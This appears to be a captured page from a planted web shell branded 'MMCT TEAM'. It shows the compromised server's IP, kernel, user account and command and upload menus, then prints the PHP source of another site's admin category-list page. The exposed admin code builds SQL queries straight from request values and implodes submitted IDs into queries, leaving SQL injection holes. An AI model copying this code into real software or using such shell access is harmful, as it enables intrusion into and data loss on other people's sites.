MMCT TEAM
Server IP : 103.53.40.154  /  Your IP : 3.149.250.65
Web Server : Apache
System : Linux md-in-35.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : ppcad7no ( 715)
PHP Version : 8.2.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home2/ppcad7no/naturewoodfloor.in/../tmp/../kediapaper.com/wknadmin/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home2/ppcad7no/naturewoodfloor.in/../tmp/../kediapaper.com/wknadmin/subcat_list.php
<?php
require_once("../includes/dbsmain.inc.php");
$catid=$_REQUEST['category_id'];

if(isset($_REQUEST['Delete'])){
if(is_array($_REQUEST['arr_ids'])){

$check=$_REQUEST['arr_ids'];
$SUB=count($check);

function del_sub($CAT){
$select=mysqli_query("select * from tbl_category where category_parent_id='$CAT'");

while($SQL=mysqli_fetch_array($select)){
del_sub($SQL['category_id']);
$delete=mysqli_query("delete from tbl_category where category_parent_id='$SQL[category_id]'");
//DELETE SUB CATEGORY AND PRODUCTS MORE IMAGES START
$del_image=mysqli_query("delete from tbl_category_image where category_image_cat_id='$SQL[category_id]'");
//DELETE SUB CATEGORY AND PRODUCTS MORE IMAGES END
}
//DELETE ALL CATEGORY MORE IMAGES FROM FOLDER START
$img_selct=mysqli_query("select category_image_id,category_image_name from  tbl_category_image where 1 and category_image_cat_id='$CAT'");
while($sqlsel=mysqli_fetch_array($img_selct)){
$imgName = $sqlsel['category_image_name'];
@unlink("../category_more_images/$imgName");
}
//DELETE ALL CATEGORY MORE IMAGES FROM FOLDER END
//DELETE ALL CATEGORY IMAGES FROM FOLDER START
$ct_img = mysqli_fetch_array(mysqli_query("select category_image_name from tbl_category where category_id='$CAT'"));
@unlink("../uploaded_files/$ct_img[category_image_name]");
//DELETE ALL CATEGORY IMAGES FROM FOLDER END
$del=mysqli_query("delete from tbl_category where category_id='$CAT'");
$del_img=mysqli_query("delete from tbl_category_image where category_image_cat_id='$CAT'");

}
for($x=0;$x<$SUB;$x++){
del_sub($check[$x]);
}
}
}


if(is_post_back()) {
	$arr_ids = $_REQUEST['arr_ids'];
	if(is_array($arr_ids)) {
		$str_ids = implode(',', $arr_ids); 
		if(isset($_REQUEST['Activate']) || isset($_REQUEST['Activate_x']) ) {
			db_query("update tbl_category set category_status='Active' where category_id in ($str_ids)");
		} else if(isset($_REQUEST['Deactivate']) || isset($_REQUEST['Deactivate_x']) ) {
			db_query("update tbl_category set category_status='Inactive' where category_id in ($str_ids)");
		}else if(isset($_REQUEST['make_hot']) || isset($_REQUEST['make_hot_x']) ) {
			db_query("update tbl_category set category_is_hot='Yes' where category_id in ($str_ids)");
		}else if(isset($_REQUEST['remove_hot']) || isset($_REQUEST['remove_hot_x']) ) {
			db_query("update tbl_category set category_is_hot='No' where category_id in ($str_ids)");
		}else if(isset($_REQUEST['make_feature']) || isset($_REQUEST['make_feature_x']) ) {
			db_query("update tbl_category set category_is_featured='Yes' where category_id in ($str_ids)");
		}else if(isset($_REQUEST['remove_feature']) || isset($_REQUEST['remove_feature_x']) ) {
			db_query("update tbl_category set category_is_featured='No' where category_id in ($str_ids)");
		}else if(isset($_REQUEST['set_for_home_gallery']) || isset($_REQUEST['set_for_home_gallery']) ) {
			db_query("update tbl_category set category_for_gallery='Yes' where category_id in ($str_ids)");
		}else if(isset($_REQUEST['remove_for_home_gallery']) || isset($_REQUEST['remove_for_home_gallery_x']) ) {
			db_query("update tbl_category set category_for_gallery='No' where category_id in ($str_ids)");
		}else if(isset($_REQUEST['set_for_home_flash']) || isset($_REQUEST['set_for_home_flash_x']) ) {
			db_query("update tbl_category set category_for_falsh='Yes' where category_id in ($str_ids)");
		}else if(isset($_REQUEST['remove_for_home_flash']) || isset($_REQUEST['remove_for_home_flash_x']) ) {
			db_query("update tbl_category set category_for_falsh='No' where category_id in ($str_ids)");
		}
	}
	header("Location: ".$_SERVER['HTTP_REFERER']);
	exit;
}

$start = intval($start);
$pagesize = intval($pagesize)==0?$pagesize=DEF_PAGE_SIZE:$pagesize;

$order_by == '' ? $order_by = 'category_id' : true;
$order_by2 == '' ? $order_by2 = 'asc' : true;

$catgid=($_REQUEST[id]!=0) ? $_REQUEST[id] : 0;	 
$sql = "select * from tbl_category   where 1 and category_parent_id='$catid' ";
$sql = apply_filter($sql, $category_name, 'like','category_name');
//echo $sql;
$sql .= " order by $order_by $order_by2 ";
$sql .= " limit $start, $pagesize ";

$pager = new midas_pager_sql($sql, $pagesize, $start);
if($pager->total_records) {
	$result = db_query($sql);
}
?>
<link href="styles.css" rel="stylesheet" type="text/css">
<script language="JavaScript" type="text/javascript" src="../includes/general.js"></script>
<?php include("top.inc.php");?>
            <table width="100%" border="0" cellspacing="0" cellpadding="0">
              <tr>
                <td id="pageHead"><div id="txtPageHead"> Sub Category list </div></td>
              </tr>
            </table>
            <table width="100%" border="0" cellspacing="0" cellpadding="0">
              <tr>
                <td id="content"><?php /*?><form method="get" name="form2" id="form2" onSubmit="return confirm_submit(this)">
                    <br />
                    <table  border="0" align="center" cellpadding="2" cellspacing="0" class="tableSearch" style="width:300px; height:90px;">
                      <tr align="center">
                        <th colspan="2">Search</th>
                      </tr>
                      <tr>
                        <td class="tdLabel">Name</td>
                        <td><input name="subcategory_name" type="text" value="<?=$subcategory_name?>" style="width:200px; height:24px;" /></td>
                      </tr>
                      <tr>
                        <td>&nbsp;</td>
                        <td><input name="pagesize" type="hidden" id="pagesize" value="<?=$pagesize?>" />
                          <input type="image" name="imageField" src="images/buttons/search.gif" /><?php if($_REQUEST['subcategory_name']){ ?><a href="subcat_list.php?category_id=<?=$_REQUEST['category_id']?>"><span style="vertical-align:top; margin-left:5px; font-size:12px; color:#0000CC; font-weight:bold; font-family:Arial, Helvetica, sans-serif;">View All</span></a><? } ?></td>
                      </tr>
                    </table>
                  </form><?php */?>
                  <br />
				    <div align="right"> <a href="category_list.php" style="font-size:12px; font-weight:bold; color:#006633">Back To Category List</a> </div>
                  <div align="right" style="margin-top:5px;"> <a href="addedit-subcategory.php?category_id=0&category_parent_id=<?=$catid?>" style="font-size:12px; font-weight:bold;">Add New Sub Category</a> </div>
                  <? if($pager->total_records==0) {?>
                  <div class="msg">Sorry, no records found.</div>
                  <? } else { ?>
                  <div align="right">
                    <? $pager->show_displaying()?>
                  </div>
                  <div>Records Per Page:
                    <?=pagesize_dropdown('pagesize', $pagesize);?>
                  </div>
                  <form method="post" name="form1" id="form1" onsubmit="confirm_submit(this)">                  
                    <table width="100%"  border="0" cellpadding="0" cellspacing="1" class="tableList" style="border:1px outset #fff;">
                      <tr>
                        <th width="27%" nowrap="nowrap" style="font-size:12px; padding:9px;">Category Name
                          <?=sort_arrows('category_name')?></th>
                        <th width="9%" nowrap="nowrap">Category Image</th>
                        <th width="8%" nowrap="nowrap">Is Hot / Flash ?</th>
                        <th width="9%" nowrap="nowrap">Is Featured ?</th>
						<th width="9%" nowrap="nowrap">Home Gallery ?</th>
                        <th width="7%" nowrap="nowrap">&nbsp;</th>
                        <th width="9%" nowrap="nowrap">&nbsp;</th>
                        <th width="8%" nowrap="nowrap" style="font-size:12px; padding:9px;">Status
                          <?=sort_arrows('category_status')?></th>
						  
                        <th width="4%">&nbsp;</th>
                        <th width="4%"><input name="check_all" type="checkbox" id="check_all" value="1" onclick="checkall(this.form)" /></th>
                      </tr>
                      <?
							while ($line_raw = mysqli_fetch_array($result)) {
								$line = ms_display_value($line_raw);
								@extract($line);
								$css = ($css=='trOdd')?'trEven':'trOdd';
							?>
                      <tr class="<?=$css?>" align="center">
                        <td nowrap="nowrap" style="font-size:12px;"><a href="product_list.php?category_id=<?=$category_id?>&category_parent_id=<?=$catid?>">
                          <?=$category_name?>
                          </a></td>
                        <td nowrap="nowrap" style="font-size:12px;"><img src="../uploaded_files/<?=$category_image_name?>" height="60" width="60"  border="0"></td>
                        <td nowrap="nowrap" style="font-size:12px;"><strong><?=$category_is_hot?> / <?=$category_for_falsh?></strong></td>
                        <td nowrap="nowrap" style="font-size:12px;"><?=$category_is_featured?></td>
						 <td nowrap="nowrap" style="font-size:12px;"><?=$category_for_gallery?></td>
                        <td nowrap="nowrap" style="font-size:12px;"><?php if($category_is_product=='Yes'){ echo "Product";}else{ echo "Service";}?></td>
                        <td nowrap="nowrap" align="center" style="font-size:12px;"><b><a href="addedit-product.php?finalcat_id=0&category_parent_id=<?=$category_id?>">Add Product</a></b><br />
<p><a href="category_image_list.php?cat_id=<?=$category_id?>" style="font-size:11px; font-weight:bold; color:#003871">Add Images</a></p>
</td>
                        <td nowrap="nowrap" style="font-size:12px;"><span style="font-weight:bold; <?php if($category_status=='Active'){ ?> color:#295300; <? }else{ ?> color:#EA0000; <? } ?>">
                          <?=$category_status?>
                          </span></td>
						  
                        <td align="center" style="font-size:12px;"><a href="addedit-subcategory.php?category_id=<?=$category_id?>&category_parent_id=<?=$catid?>"><img src="images/icons/edit.png" alt="Edit" width="16" height="16" border="0" /></a></td>
                        <td align="center"><input name="arr_ids[]" type="checkbox" id="arr_ids[]" value="<?=$category_id?>" /></td>
                      </tr>
                      <? } ?>
                    </table>
                    <table width="100%" border="0" cellspacing="0" cellpadding="0">
                      <tr>
                        <td align="right" style="padding:2px">
						<input type="submit" name="set_for_home_gallery" value="Set For Home Gallery" class="button" onClick="return select_chk()" style="font-size:12px; font-weight:bold; height:26px; background-color:#183232; border-radius:4px; cursor:pointer; width:140px;"/>
                          <input type="submit" name="remove_for_home_gallery" value="Remove From Home Gallery" class="button" onClick="return select_chk()" style="font-size:12px; font-weight:bold; height:26px; background-color:#CC0066; border-radius:4px; cursor:pointer; width:176px;"/>
						<input type="submit" name="make_hot" value="Make Hot" class="button" onClick="return select_chk()" style="font-size:12px; font-weight:bold; height:26px; background-color:#006BD7; border-radius:4px; cursor:pointer; width:110px;"/>
                          <input type="submit" name="remove_hot" value="Remove Hot" class="button" onClick="return select_chk()" style="font-size:12px; font-weight:bold; height:26px; background-color:#66B3FF; border-radius:4px; cursor:pointer; width:110px;"/>
                          <input type="submit" name="make_feature" value="Make Feature" class="button" onClick="return select_chk()" style="font-size:12px; font-weight:bold; height:26px; background-color:#5B5B00; border-radius:4px; cursor:pointer; width:120px;"/>
                          <input type="submit" name="remove_feature" value="Remove Feature" class="button" onClick="return select_chk()" style="font-size:12px; font-weight:bold; height:26px; background-color:#B9B900; border-radius:4px; cursor:pointer; width:120px;"/>
						  
                          <input type="submit" name="Activate" value="Activate" class="button" onClick="return select_chk()" style="font-size:12px; font-weight:bold; height:26px; background-color:#1F3E00; border-radius:4px; cursor:pointer; width:100px;"/>
                          <input type="submit" name="Deactivate" value="Deactivate" class="button" onClick="return select_chk()" style="font-size:12px; font-weight:bold; height:26px; background-color:#FF6F6F; border-radius:4px; cursor:pointer; width:100px;" />
                           <?php if($_SESSION['sess_admin_type']=='Admin'){ ?>
                          <input type="submit" name="Delete" value="Delete" class="button" onClick="return select_chk()" style="font-size:12px; font-weight:bold; height:26px; background-color:#CA0000; border-radius:4px; cursor:pointer; width:100px;"/>
                          <? } ?>
                        </td>
                      </tr>
                    </table>
                  </form>
                  <? $pager->show_pager();?>
                  <? } ?>
                </td>
              </tr>
            </table>
            <? include("bottom.inc.php");?>
<script language="javascript">
function select_chk(){
			var chks = document.getElementsByName('arr_ids[]');
			var hasChecked = false;
			for (var i = 0; i < chks.length; i++){
			if (chks[i].checked){
				hasChecked = true;
				break;
				}
			}
			if (hasChecked == false){
			alert("Please Select At Least One.");
			return false;
			}
}
</script>

MMCT - 2023